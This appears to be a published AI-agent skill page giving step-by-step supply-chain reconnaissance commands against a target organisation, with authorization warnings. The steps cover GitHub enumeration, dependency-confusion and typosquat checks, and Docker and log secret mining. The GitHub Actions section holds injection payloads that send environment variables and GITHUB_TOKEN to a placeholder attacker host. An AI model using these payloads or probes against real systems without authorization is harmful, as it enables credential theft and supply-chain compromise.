Skills Development Supply Chain Attack Reconnaissance

Supply Chain Attack Reconnaissance

v20260928
supply-chain-attack-recon
This skill performs external reconnaissance on software supply chain attack surfaces. It identifies public GitHub organizations, internal package names in JS/Python bundles, and Docker images. It checks for dependency confusion vulnerabilities by verifying if internal package names are available on public registries. Requires explicit authorization for offensive security assessments.
Get Skill
302 downloads
Overview

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

When to use

Trigger when:

  • Target has a public GitHub organization (find via OSINT)
  • JS bundles reference internal-looking package names (@target-internal/..., target-utils, target-shared)
  • Build logs, SBOMs, or package-lock.json files are publicly accessible
  • Target uses CI/CD that's partially public (GitHub Actions, GitLab CI, Bitrise)
  • Docker images on Docker Hub/GHCR/Quay belong to target org
  • Findings include npmrc/pip.conf/gradle.properties with internal registry URLs
  • .github/workflows/*.yml files reference internal tooling

Do NOT use for:

  • Internal-network artifact registries (out of scope per external boundary)
  • Actually publishing typosquats / dep-confusion packages without explicit OK
  • Compromising upstream open-source projects (massive blast radius — illegal in most jurisdictions without authorization)

The supply-chain attack surface map

Target Org
├── Public GitHub Org → workflow files → secrets exfil opportunities
├── Internal package names in JS/Android bundles → dependency confusion
├── Docker images on public registries → secrets in layers, RCE on pull
├── SBOM / artifact metadata → exact dep versions for known-vuln chaining
├── npmrc / pip.conf in repos → internal registry URL disclosure
├── External package dependencies → typosquat name candidates
└── Build/release pipelines → injection if pull_request_target etc.

Step 1 — GitHub org discovery

TARGET="<brand>"  # set to target brand name

# Direct guesses
for guess in $TARGET "${TARGET}-tech" "${TARGET}corp" "${TARGET}-io" "${TARGET}-eng"; do
  curl -sI "https://github.com/$guess" | grep -E "HTTP|status" | head -1
done

# Via WHOIS / email-domain → GitHub search
gh search users --owner-affiliations=organization --query "$TARGET" --limit 10

# Via employees → reverse from social media + GitHub profile
# Many employees list their employer org on their GitHub profile

Step 2 — Enumerate public repos for sensitive artifacts

ORG="targetorg"

# List public repos
gh repo list "$ORG" --limit 100 --json name,description,visibility,defaultBranchRef

# Look for high-signal repo names
gh repo list "$ORG" --limit 100 --json name | jq -r '.[].name' | grep -iE "internal|infra|deploy|config|secret|setup|sdk|api"

# Clone all (small org) or selectively
gh repo clone "$ORG/$repo_name"

Step 3 — Internal package-name discovery

From JS bundles

# JS bundles are the easiest source of internal npm names
curl -sk https://target.com/main.js | grep -oE '@[a-z-]+/[a-z-]+' | sort -u
curl -sk https://target.com/main.js | grep -oE 'require\("[^"]+"\)' | sort -u

# Look for scoped names that are NOT public on npm
for pkg in @target/utils @target-internal/api @companybrand/sdk; do
  status=$(curl -sI "https://registry.npmjs.org/$pkg" | head -1 | awk '{print $2}')
  echo "  $pkg → $status"
  # 404 → name unclaimed on public npm → DEPENDENCY-CONFUSION CANDIDATE
done

From GitHub repo package.json files

# Public repos with package.json that reference internal scopes
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
  pkg=$(gh api "repos/$ORG/$repo/contents/package.json" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null)
  echo "$pkg" | jq -r '.dependencies // {} | keys[]' 2>/dev/null | grep -E '^@[a-z-]+/'
done | sort -u

From Python projects

# Internal pip package names
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
  gh api "repos/$ORG/$repo/contents/requirements.txt" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null
done | sort -u | grep -vE '^(requests|django|flask|numpy|pandas|...common)'

Step 4 — Dependency-confusion vulnerability check

For each internal-looking package name discovered:

NAME="@target-internal/utils"   # example

# npm check
curl -sI "https://registry.npmjs.org/$NAME" | head -1
# 404 → name is registerable → DEPENDENCY-CONFUSION POSSIBLE

# pypi check (no scopes, just name)
NAME="target_utils"
curl -sI "https://pypi.org/project/$NAME/" | head -1
# 404 → name is registerable

# rubygems
curl -sI "https://rubygems.org/api/v1/gems/$NAME.json" | head -1

# Go modules — slightly different, since module names are URLs
# Check if module path is reachable
curl -sI "https://proxy.golang.org/github.com/$ORG/$NAME/@latest" | head -1

Severity calibration: Just because a name is unclaimed doesn't mean it's exploitable. You also need:

  1. Evidence the target's BUILD SYSTEM resolves names from public registries (not just their internal one)
  2. OR evidence the target's package manager is configured insecurely (e.g., .npmrc without @scope:registry= mapping)
  3. OR the package would be installed by their builds (it's actually in package.json, not just referenced in dead code)

A 404 on registry without supporting context is INFORMATIONAL only.


Step 5 — Typosquat candidates (around external dependencies)

For each external public dependency the target uses:

# Common typosquat patterns:
# Original: "react-router-dom"
# Typos: 
#   "react-router-doms" (extra s)
#   "react-routter-dom" (double t)
#   "react-rotuer-dom" (transposed)
#   "react--router-dom" (double dash)
#   "react-router-dorn" (m→rn)
#   "reactrouterdom" (no dashes)

# Generate candidates
python3 -c "
import sys
name='react-router-dom'
for i in range(len(name)):
    print(name[:i] + name[i+1:])   # delete
    if i < len(name)-1:
        print(name[:i] + name[i+1] + name[i] + name[i+2:])  # transpose
"

# Check which candidates are UNCLAIMED on the registry
for candidate in ...; do
  status=$(curl -sI "https://registry.npmjs.org/$candidate" | head -1 | awk '{print $2}')
  [ "$status" = "404" ] && echo "  UNCLAIMED: $candidate"
done

⚠ EXTERNAL-OFFENSIVE NOTE: publishing a typosquat package to a public registry is an attack on the wider ecosystem. NEVER do this without explicit, written, scope-clarified sign-off. It can affect users outside your engagement and may be illegal.


Step 6 — GitHub Actions workflow injection scan

For each public repo with .github/workflows/:

for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
  workflows=$(gh api "repos/$ORG/$repo/contents/.github/workflows" --jq '.[].name' 2>/dev/null)
  for wf in $workflows; do
    content=$(gh api "repos/$ORG/$repo/contents/.github/workflows/$wf" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null)
    echo "=== $repo/$wf ==="
    
    # High-risk patterns:
    # 1. pull_request_target (runs with secrets on PR from forks)
    echo "$content" | grep -E 'pull_request_target'
    
    # 2. Untrusted context interpolation
    echo "$content" | grep -E '\$\{\{[^}]*github\.(event|head_ref|pull_request)[^}]*\}\}'
    
    # 3. ${{ github.event.* }} into shell run blocks
    echo "$content" | grep -B1 -A2 'run:' | grep -E '\$\{\{ ?github\.event\.'
    
    # 4. checkout of PR head with elevated perms
    echo "$content" | grep -E 'ref:.*pull_request|head_ref'
    
    # 5. Self-hosted runner without isolation
    echo "$content" | grep -E 'runs-on:.*self-hosted'

    # 6. Unpinned third-party actions — mutable tag (@v1, @main) vs pinned (@<40-char sha>)
    #    Mutable tags can be repointed by a compromised action repo (see case #9, tj-actions/changed-files).
    echo "$content" | grep -E 'uses: *[^ ]+/[^ ]+@(v?[0-9]+([.][0-9]+)*|main|master|latest)\b' | grep -v '@[0-9a-f]\{40\}'
  done
done

Injection patterns to flag (severity guide)

Pattern Severity
pull_request_target + actions/checkout with ref: pull_request.head.sha + uses repo secrets Critical — RCE on runner with org secrets
${{ github.event.pull_request.title }} interpolated into shell Critical — script injection via PR title
Third-party action pinned to a mutable tag (uses: org/repo@v1 / @main) instead of a commit SHA High — repointable supply-chain vector (see case #9)
Self-hosted runner reachable from public repo workflows High — persistent attacker pivot
Issue-comment-triggered workflow that runs gh with token High
Workflow downloads from URL that target controls Medium

GitHub Actions context injection sinks (branch name, PR title, issue body)

Untrusted context flowing from PR metadata into run: blocks is a classic injection vector. Test payloads:

# Malicious branch name (test in a fork PR):
git checkout -b 'feat/x"; curl https://attacker/?d=$(env | base64);"'
git push origin 'feat/x"; curl https://attacker/?d=$(env | base64);"'

# Malicious PR title (create a test PR with this title):
PR_TITLE='x"; curl https://attacker/?d=$(echo $GITHUB_TOKEN | base64);"'

# Malicious issue body:
ISSUE_BODY='x"; curl https://attacker/?leak=$(git config user.name);"'

# Then watch workflow logs. If the injected commands execute, secrets are exfil'd.

Public GitHub Actions run logs (leaks secrets)

Actions logs are public by default on public repos. Look for:

# List all Action runs for a repo
gh api repos/OWNER/REPO/actions/runs --jq '.workflow_runs[] | {id, name, head_branch, status, conclusion}'

# Fetch logs from a run
gh api repos/OWNER/REPO/actions/runs/<id>/logs --jq '.logs' | base64 -d

# Search logs for common leakage patterns
gh api repos/OWNER/REPO/actions/runs/<id>/logs | grep -iE 'token|key|secret|password|credential|aws_'

Leaked secrets in logs = direct credential exfil; severity depends on the token type (GitHub PAT, npm token, AWS key, etc.).

Static detection of Actions injection sinks with zizmor

For high-confidence automated flagging, run the zizmor analyzer on all workflow files:

# Install zizmor (Rust-based, from https://github.com/woodruffw/zizmor)
cargo install zizmor

# Scan all workflows
zizmor .github/workflows/*.yml

# Output includes: pull_request_target, mutable-tag uses, context interpolation, etc.
# Sort findings by risk tier

Zizmor saves manual regex work and catches edge cases (e.g., indirect context interpolation via variable references).


Step 7 — Docker / container image registry mining

# Docker Hub
curl -s "https://hub.docker.com/v2/repositories/$ORG/?page_size=100" | jq -r '.results[].name'

# GHCR (GitHub Container Registry) — public images visible in repo packages tab
gh api "users/$ORG/packages?package_type=container" 2>/dev/null
gh api "orgs/$ORG/packages?package_type=container" 2>/dev/null

# For each image, list tags
for img in image1 image2; do
  curl -s "https://hub.docker.com/v2/repositories/$ORG/$img/tags?page_size=20" | jq -r '.results[].name'
done

# Pull and inspect layers
docker pull "$ORG/$img:latest"
docker history --no-trunc "$ORG/$img:latest"

# Mine layers for secrets
docker save "$ORG/$img:latest" -o /tmp/image.tar
mkdir -p /tmp/img && tar -xf /tmp/image.tar -C /tmp/img
find /tmp/img -name "*.tar*" -exec tar -xf {} -C /tmp/img/extracted \;
# Then run gitleaks / trufflehog over extracted filesystem
trufflehog filesystem /tmp/img/extracted --no-update

Step 8 — SBOM / artifact metadata leakage

# Look for SBOMs published as releases (SPDX, CycloneDX format)
gh api "repos/$ORG/$REPO/releases" --jq '.[] | .assets[] | select(.name | test("sbom|cyclonedx|spdx"; "i")) | .browser_download_url'

# JSON dependency lockfiles in releases
gh api "repos/$ORG/$REPO/releases" --jq '.[] | .assets[] | select(.name | test("lock|deps"; "i")) | .browser_download_url'

# Exact-version-pinned deps → known-CVE chaining
# Compare versions to nuclei nvd templates or osv.dev for known vulns
curl -s "https://api.osv.dev/v1/query" -d '{"package": {"name": "lodash", "ecosystem": "npm"}, "version": "4.17.10"}'

Step 9 — Internal registry URL leakage

# .npmrc patterns
grep -r "registry=" .                                            # in cloned repos
grep -r "_authToken=" .                                          # leaked npm token!
grep -r "@.*registry=" .                                          # scoped registry

# pip config
grep -r "extra-index-url" .
grep -r "index-url" .

# Gradle / Maven
grep -rE "(mavenCentral|maven\s*\{)" .
grep -r "url.*\(.*nexus" .

# Each leaked internal URL is intel — flag the URL itself even if not directly exploitable

Step 10 — npm/PyPI organizational presence

# Some orgs maintain a public npm scope mirroring their brand
curl -s "https://registry.npmjs.org/-/v1/search?text=scope:$ORG&size=50" | jq '.objects[].package.name'

# Public PyPI presence
curl -s "https://pypi.org/simple/" | grep "$ORG" | head -20

# Check if scope is taken — if it's NOT, an attacker could register
# (relevant for any internal package using that scope)
curl -sI "https://registry.npmjs.org/-/org/$ORG"

Step 11 — Frontend and third-party dependency checks

Compromised CDN detection (polyfill.io, etc.)

Known-compromised CDNs and analytics services have been weaponized. Check target's public HTML/JS:

# Detect usage of polyfill.io and similar historically-compromised services
curl -s https://target.com | grep -i polyfill
curl -s https://target.com | grep -iE '(polyfill\.io|cdn\.jsdelivr\.net.*polyfill|babel\.min\.js)'

# Check JavaScript bundles
for bundle in public/*.js main.*.js app.*.js; do
  grep -i polyfill "$bundle" && echo "FOUND: $bundle"
done

Reference: polyfill.io was compromised in 2024 to serve malicious payloads. Presence = supply-chain risk.


Tooling

Tool Purpose
trufflehog Filesystem/git/docker secret scan
gitleaks Git history secret scan
dependency-confusion (Confused) npm scope/PyPI checks
packj Package risk score (PyPI/npm/RubyGems)
Lift / Snyk vuln-db Known CVE lookup by package version
actionlint GitHub Actions static analyzer
zizmor GitHub Actions injection & security antipattern detection
OSSGadget Microsoft's package metadata toolkit
semgrep + supply-chain rules Workflow injection detection
osv-scanner Match versions to known vulns

Contents

Limitations

  • Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
  • Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
  • Validate every finding (see triage-validation) before reporting; report via report-writing. Prefer a sandbox, disposable VM, or controlled lab.

Example

# Read-only first step; confirm scope before anything active.
cat scope.txt  # target list from the authorized engagement brief

Adapted from elementalsouls/Claude-BugHunter (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.

Info
Category Development
Name supply-chain-attack-recon
Version v20260928
Size 18.21KB
Updated At 2026-09-29
Language